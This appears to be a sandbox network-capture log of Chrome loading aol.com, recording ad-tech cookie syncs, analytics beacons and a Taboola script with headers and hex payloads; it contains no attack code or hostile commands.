2024-05-23 22:35:13 UTC	2133	IN	Data Raw: 28 77 69 6e 64 6f 77 2e 77 65 62 70 61 63 6b 4a 73 6f 6e 70 3d 77 69 6e 64 6f 77 2e 77 65 62 70 61 63 6b 4a 73 6f 6e 70 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 31 38 5d 2c 7b 31 31 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6f 2c 6c 29 7b 76 61 72 20 74 3d 6c 28 33 36 29 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 41 6f 6c 48 65 6c 70 47 6c 6f 62 61 6c 73 2e 63 6f 6e 74 65 6e 74 2e 68 6f 73 74 2b 22 2f 22 2b 41 6f 6c 48 65 6c 70 47 6c 6f 62 61 6c 73 2e 63 6f 6e 74 65 6e 74 2e 61 6c 65 72 74 2e 72 65 70 6c 61 63 65 28 22 7b 62 72 61 6e 64 5f 69 64 7d 22 2c 41 6f 6c 48 65 6c 70 47 6c 6f 62 61 6c 73 2e 62 72 61 6e 64 49 64 29 2c 6f 3d 41 6f 6c 48 65 6c 70 47 6c 6f 62 61 6c 73 2e 70 72 6f 64 75 63 74 26 26 41 6f 6c 48 65 6c 70 Data Ascii: (window.webpackJsonp=window.webpackJsonp\|\|[]).push([[18],{11:function(e,o,l){var t=l(36);e.exports=function(){var e=AolHelpGlobals.content.host+"/"+AolHelpGlobals.content.alert.replace("{brand_id}",AolHelpGlobals.brandId),o=AolHelpGlobals.product&&AolHelp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
629	192.168.2.6	50460	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:13 UTC	1176	OUT	GET /setuid?bidder=sonobi&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=3e69915a-aa81-453c-8be6-621af7150f41 HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwicnViaWNvbiI6eyJ1aWQiOiJMV0pUWkFCTi1YLUs0UFciLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNi44OTAzMjAxMjlaIn0sInR0ZCI6eyJ1aWQiOiIzZTA3N2JiNC1iZjRhLTRjMTktOTMzZS1jOThkZGQ4ODE0MmUiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNC42OTUzODA2OTRaIn19fQ==
2024-05-23 22:35:13 UTC	1209	IN	HTTP/1.1 200 OK content-type: image/png set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwicnViaWNvbiI6eyJ1aWQiOiJMV0pUWkFCTi1YLUs0UFciLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNi44OTAzMjAxMjlaIn0sInNvbm9iaSI6eyJ1aWQiOiIzZTY5OTE1YS1hYTgxLTQ1M2MtOGJlNi02MjFhZjcxNTBmNDEiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNToxMy41NjY4NjU4ODlaIn0sInR0ZCI6eyJ1aWQiOiIzZTA3N2JiNC1iZjRhLTRjMTktOTMzZS1jOThkZGQ4ODE0MmUiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNC42OTUzODA2OTRaIn19fQ==; Path=/; Domain=pbs.yahoo.com; Expires=Thu, 21 Nov 2024 22:35:13 GMT; HttpOnly; Secure; SameSite=None vary: Origin content-length: 86 date: Thu, 23 May 2024 22:35:13 GMT x-envoy-upstream-service-time: 0 server: ATS x-envoy-decorator-operation: pbs--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:35:13 UTC	86	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 0d 49 44 41 54 08 99 63 60 60 60 60 00 00 00 05 00 01 87 a1 4e d4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dIDATc````NIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
630	192.168.2.6	50463	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:13 UTC	1591	OUT	POST /p?s=1197805788&t=EtdvpACk3GcbrdjC,0.6318983056388143&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03document.visibilitychange%04A_prets%031716503712%04A_prems%03108%04_E%03dwell%04_ts%031716503712%04_ms%03150%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:13 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:13 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:13 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:13 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
631	192.168.2.6	50462	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:13 UTC	1593	OUT	POST /p?s=1197805788&t=iZYXcuwptdjpiHpq,0.48938613528184205&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03show%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstart%04A_jse%03document.visibilitychange%04A_prets%031716503712%04A_prems%03150%04_E%03dwell%04_ts%031716503712%04_ms%03158%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:13 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:13 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:13 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:13 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
632	192.168.2.6	50464	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:13 UTC	1627	OUT	GET /p?c1=19&c2=27061346&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=1&ns_ap_ev=start&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_csf=1&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=view&ns_ap_gs=1716503700613&ns_ts=1716503700612&ns_ap_cfg=11101001-110-3C-7D0-A-1F-1E-1E-12C-A&ns_ap_env=0-0-2&ns_ap_ut=60000&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_ap_ar=unknown&ns_ap_cs=1&ns_ap_fg=1&ns_ap_dft=0&ns_ap_dbt=0&ns_ap_dit=0&ns_ap_as=1&ns_ap_das=0&ns_ap_usage=0&ns_radio=unknown&cs_ucfr=1&ns_ap_install=1716503700613&ns_ap_ft=0&ns_ap_bt=0&ns_ap_it=0&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_ap_jb=unknown&ns_c=UTF-8&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9= HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: UID=100458df32184cbdda853d11716503699; PID=172458df32337cbdda8521e1716503699; XID=100458df32184cbdda853d11716503699
2024-05-23 22:35:13 UTC	781	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Thu, 23 May 2024 22:35:13 GMT set-cookie: UID=100458df32184cbdda853d11716503699; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=62208000 set-cookie: PID=172458df32337cbdda8521e1716503699; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=7776000 set-cookie: XID=100458df32184cbdda853d11716503699; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=62208000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 6a29cf21ce984f6a6d3f67cb902ef37e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P5 X-Amz-Cf-Id: SpUbzr6It46M_mNa6TyDQvlqWSJl3NQ26oVj7v0Esvei3QuzrPLngA==
2024-05-23 22:35:13 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
633	192.168.2.6	50458	46.228.174.117	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:13 UTC	832	OUT	GET /csync/RX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003?redir=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dunruly%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3DRX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003%26us_privacy%3D1YNN HTTP/1.1 Host: sync.targeting.unrulymedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:13 UTC	631	IN	HTTP/1.1 302 Found date: Thu, 23 May 2024 22:35:13 GMT content-type: text/html transfer-encoding: chunked set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003%22%7D; path=/; expires=Fri, 23 May 2025 22:35:13 GMT; domain=.targeting.unrulymedia.com; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://pbs.yahoo.com/setuid?bidder=unruly&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=RX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003&us_privacy=1YNN etag: RX7c64f7b47a9045eb91aeaf76e523d963003 connection: close
2024-05-23 22:35:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
634	192.168.2.6	50466	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:13 UTC	1503	OUT	GET /p?c1=19&c2=27061346&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=2&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503700616&ns_ap_env=0-0-2&ns_ap_ut=60000&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_ap_ar=unknown&ns_ap_cs=1&ns_ap_fg=0&ns_ap_dft=4&ns_ap_dbt=0&ns_ap_dit=0&ns_ap_as=0&ns_ap_das=4&ns_ap_usage=4&ns_radio=unknown&cs_ucfr=1&ns_ap_ft=4&ns_ap_bt=0&ns_ap_it=0&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9= HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: UID=100458df32184cbdda853d11716503699; PID=172458df32337cbdda8521e1716503699; XID=100458df32184cbdda853d11716503699
2024-05-23 22:35:13 UTC	781	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Thu, 23 May 2024 22:35:13 GMT set-cookie: UID=100458df32184cbdda853d11716503699; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=62208000 set-cookie: PID=172458df32337cbdda8521e1716503699; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=7776000 set-cookie: XID=100458df32184cbdda853d11716503699; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=62208000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 ddcfcdf22c7ea27fb2a066c5c7d99ad2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P5 X-Amz-Cf-Id: CZMPfpN3zAuTKpjT5Zeg93SE5edxcm3NfTXQVtNNDQMONxXh8AXIVg==
2024-05-23 22:35:13 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
635	192.168.2.6	50465	18.193.40.232	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:13 UTC	779	OUT	GET /api/v1/dsync/yahoo?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dkargo%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID HTTP/1.1 Host: crb.kargo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:14 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:13 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-cache, no-store, no-transform, must-revalidate, private, max-age=0 Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache Set-Cookie: ktcid=b1c35d7c-a2fa-0e14-5fdc-d6b20cb49a71; Path=/; Domain=kargo.com; Expires=Fri, 23 May 2025 22:35:13 GMT; Max-Age=31536000; HttpOnly; Secure; SameSite=None Vary: Origin X-Accel-Expires: 0 X-Rejected: consent
2024-05-23 22:35:14 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
636	192.168.2.6	50468	151.101.1.44	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:13 UTC	694	OUT	GET /libtrc/google-topics-api.20240523-16-RELEASE.es6.js HTTP/1.1 Host: cdn.taboola.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: abLdr=21; t_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; t_pt_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14
2024-05-23 22:35:13 UTC	764	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2019 x-amz-id-2: F3xym2FVQRW/lhYzhLSMfzlpDbrKFoPskL025xtf8quThrEV/MdLleP+1Vs6TOx1LOi989dK+Vo= x-amz-request-id: EX8SZVAKZMJ59JM3 x-amz-replication-status: COMPLETED Last-Modified: Thu, 23 May 2024 13:54:53 GMT ETag: "23223bb820a6fd5df4db0c3301b35285" x-amz-server-side-encryption: AES256 x-amz-version-id: evLD7czuVaFr73R3RPyJpboGIL02ECAG Content-Type: application/javascript; charset=utf-8 Server: AmazonS3 Accept-Ranges: bytes Age: 0 Date: Thu, 23 May 2024 22:35:13 GMT Via: 1.1 varnish X-Served-By: cache-ewr18133-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1716503714.902010,VS0,VE41 Cache-Control: private,max-age=2629743 Vary: Accept-Encoding abp: 37 Access-Control-Allow-Origin: *
2024-05-23 22:35:13 UTC	1378	IN	Data Raw: 2f 2a 21 20 32 30 32 34 30 35 32 33 2d 31 36 2d 52 45 4c 45 41 53 45 20 2a 2f 0a 0a 28 6f 3d 3e 7b 63 6f 6e 73 74 20 65 3d 22 74 6f 70 22 2c 74 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 74 61 62 6f 6f 6c 61 2e 63 6f 6d 22 2c 69 3d 22 68 74 74 70 3a 2f 2f 6c 6f 63 61 6c 68 6f 73 74 3a 39 38 37 36 22 2c 6e 3d 60 24 7b 74 7d 2f 6c 69 62 74 72 63 2f 73 74 61 74 69 63 2f 74 6f 70 69 63 73 2f 74 61 62 6f 6f 6c 61 2d 62 72 6f 77 73 69 6e 67 2d 74 6f 70 69 63 73 2e 68 74 6d 6c 60 2c 72 3d 60 74 62 6c 2d 62 72 6f 77 73 69 6e 67 2d 74 6f 70 69 63 73 2d 69 66 72 61 6d 65 2d 24 7b 31 30 30 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 7d 60 3b 66 75 6e 63 74 69 6f 6e 20 73 28 29 7b 74 72 79 7b 69 66 28 21 54 52 43 2e 74 6f 70 69 63 73 29 72 65 74 75 72 6e 3b 61 28 54 52 Data Ascii: /! 20240523-16-RELEASE /(o=>{const e="top",t="https://cdn.taboola.com",i="http://localhost:9876",n=`${t}/libtrc/static/topics/taboola-browsing-topics.html`,r=`tbl-browsing-topics-iframe-${100*Math.random()}`;function s(){try{if(!TRC.topics)return;a(TR
2024-05-23 22:35:13 UTC	641	IN	Data Raw: 72 65 65 3a 21 31 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 70 28 29 7b 69 66 28 21 6f 2e 62 6f 64 79 29 72 65 74 75 72 6e 20 76 6f 69 64 20 67 28 29 3b 63 6f 6e 73 74 20 65 3d 6f 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 3b 65 2e 69 64 3d 72 2c 65 2e 73 72 63 3d 6e 2c 65 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 30 22 2c 65 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 30 22 2c 65 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 2c 6c 28 29 2c 6f 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 29 7b 72 65 74 75 72 6e 22 62 72 6f 77 73 69 6e 67 54 6f 70 69 63 73 22 69 6e 20 6f 26 26 6f 2e 66 65 61 74 75 72 65 50 6f 6c 69 63 79 26 26 6f 2e 66 65 61 74 75 72 65 50 6f 6c 69 Data Ascii: ree:!1})}function p(){if(!o.body)return void g();const e=o.createElement("iframe");e.id=r,e.src=n,e.style.width="0",e.style.height="0",e.style.display="none",l(),o.body.appendChild(e)}function d(){return"browsingTopics"in o&&o.featurePolicy&&o.featurePoli

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
637	192.168.2.6	50470	151.101.1.44	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
